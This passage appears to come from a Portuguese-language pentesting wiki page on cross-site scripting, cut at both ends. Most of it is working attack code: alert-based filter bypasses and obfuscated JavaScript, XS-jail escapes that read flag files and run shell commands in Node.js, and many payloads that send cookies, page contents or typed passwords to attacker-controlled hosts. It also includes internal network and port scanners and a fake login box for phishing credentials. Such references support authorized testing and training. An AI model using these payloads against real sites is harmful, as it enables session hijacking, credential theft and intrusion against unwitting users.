[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Vulnerabilidades DOM
Há código JS que está usando dados controlados de forma insegura por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.
Devido à extensão da explicação sobre vulnerabilidades DOM ela foi movida para esta página:
Lá você encontrará uma explicação detalhada do que são vulnerabilidades DOM, como são provocadas e como explorá-las.
Além disso, não esqueça que ao final do post mencionado você pode encontrar uma explicação sobre DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um subdomínio vulnerável a XSS, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso você pode usar o cookie tossing attack:
Você pode encontrar um ótimo abuso dessa técnica em este post no blog.
Sending your session to the admin
Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver no perfil do usuário e o admin acessá-lo, ele acionará a vulnerabilidade.
Session Mirroring
Se você encontrar algum self XSS e a página web tiver um espelhamento de sessão para administradores, por exemplo permitindo que clientes peçam ajuda, para que o admin o ajude ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.
Você pode fazer com que o administrador dispare seu self XSS e roube os cookies/sessão dele.
Outros Bypasses
Bypass de sanitização via WASM linear-memory template overwrite
Quando uma web app usa Emscripten/WASM, strings constantes (como stubs de formato HTML) vivem em memória linear gravável. Um único overflow dentro do WASM (por exemplo, memcpy sem verificação em um caminho de edição) pode corromper estruturas adjacentes e redirecionar writes para essas constantes. Sobrescrever um template como “” transforma a entrada sanitizada em um valor de handler JavaScript e gera DOM XSS imediato ao renderizar.
Consulte a página dedicada com workflow de exploração, DevTools memory helpers e defesas:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Você pode verificar se os valores refletidos estão sendo normalizados em Unicode no servidor (ou no lado do cliente) e abusar dessa funcionalidade para burlar proteções. Encontre um exemplo aqui.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Devido a RoR mass assignment aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.
Form example (from this report), se você enviar o payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
O par “Key”,“Value” será ecoado assim:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Então, o atributo onfocus será inserido e XSS ocorrerá.
Combinações especiais
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS com header injection em uma resposta 302
Se você descobrir que pode inject headers in a 302 Redirect response você pode tentar make the browser execute arbitrary JavaScript. Isso não é trivial pois navegadores modernos não interpretam o HTTP response body se o HTTP response status code for 302, então apenas um cross-site scripting payload é inútil.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Apenas Letras, Números e Pontos
Se você for capaz de indicar o callback que javascript vai executar limitado a esses caracteres. Read this section of this post para encontrar como abusar desse comportamento.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipos de Script para XSS
(From here) Então, quais tipos poderiam ser indicados para carregar um script?
<script type="???"></script>
A resposta é:
- module (padrão, nada a explicar)
- webbundle: Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um arquivo
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permite melhorar a sintaxe de importação
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Esse comportamento foi usado em this writeup para remapear uma biblioteca para eval e, ao abusar disso, pode disparar XSS.
- speculationrules: Este recurso existe principalmente para resolver alguns problemas causados pelo pré-rendering. Funciona assim:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Content-Types Web para XSS
(De here) Os seguintes content types podem executar XSS em todos os browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? não está na lista mas acho que vi isso em um CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Em outros browsers outros Content-Types podem ser usados para executar JS arbitrário, veja: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Tipo de Conteúdo xml
Se a página estiver retornando um content-type text/xml é possível indicar um namespace e executar JS arbitrário:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Padrões Especiais de Substituição
Quando algo como "some {{template}} data".replace("{{template}}", <user_input>) é usado. O atacante poderia usar special string replacements para tentar contornar algumas proteções: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Por exemplo em this writeup, isso foi usado para escapar uma string JSON dentro de um script e executar código arbitrário.
Chrome Cache para XSS
Escape de XS Jails
Se você tem apenas um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Se tudo está undefined antes de executar código não confiável (como em this writeup) é possível gerar objetos úteis “do nada” para abusar da execução de código arbitrário não confiável:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Acessando
requireindiretamente
According to this os módulos são encapsulados pelo Node.js dentro de uma função, assim:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Portanto, se a partir desse módulo pudermos chamar outra função, é possível usar arguments.callee.caller.arguments[1] dessa função para acessar require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De forma similar ao exemplo anterior, é possível usar manipuladores de erro para acessar o wrapper do módulo e obter a função require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diferentes ofuscações em uma página: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Mais sofisticado JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS payloads comuns
Vários payloads em 1
Iframe Trap
Faça o usuário navegar na página sem sair do iframe e capture suas ações (incluindo informações enviadas em formulários):
Recuperar Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Você não poderá acessar os cookies a partir do JavaScript se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem some ways to bypass this protection se tiver sorte.
Roubar Conteúdo da Página
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Encontrar IPs internos
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tempos curtos indicam que a porta está respondendo Tempos mais longos indicam sem resposta.
Consulte a lista de ports banidos no Chrome here e no Firefox here.
Caixa para solicitar credenciais
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Captura de senhas por auto-preenchimento
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Se um handler crítico (por exemplo, function DoLogin(){...}) for declarado mais tarde na página, e seu payload for executado mais cedo (por exemplo, via um inline JS-in-JS sink), defina um const com o mesmo nome primeiro para preemptar e bloquear o handler. Declarações de função posteriores não conseguem rebindar um nome const, deixando seu hook no controle:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notas
- Isso depende da ordem de execução: sua injeção deve executar antes da declaração legítima.
- Se seu payload estiver envolto em
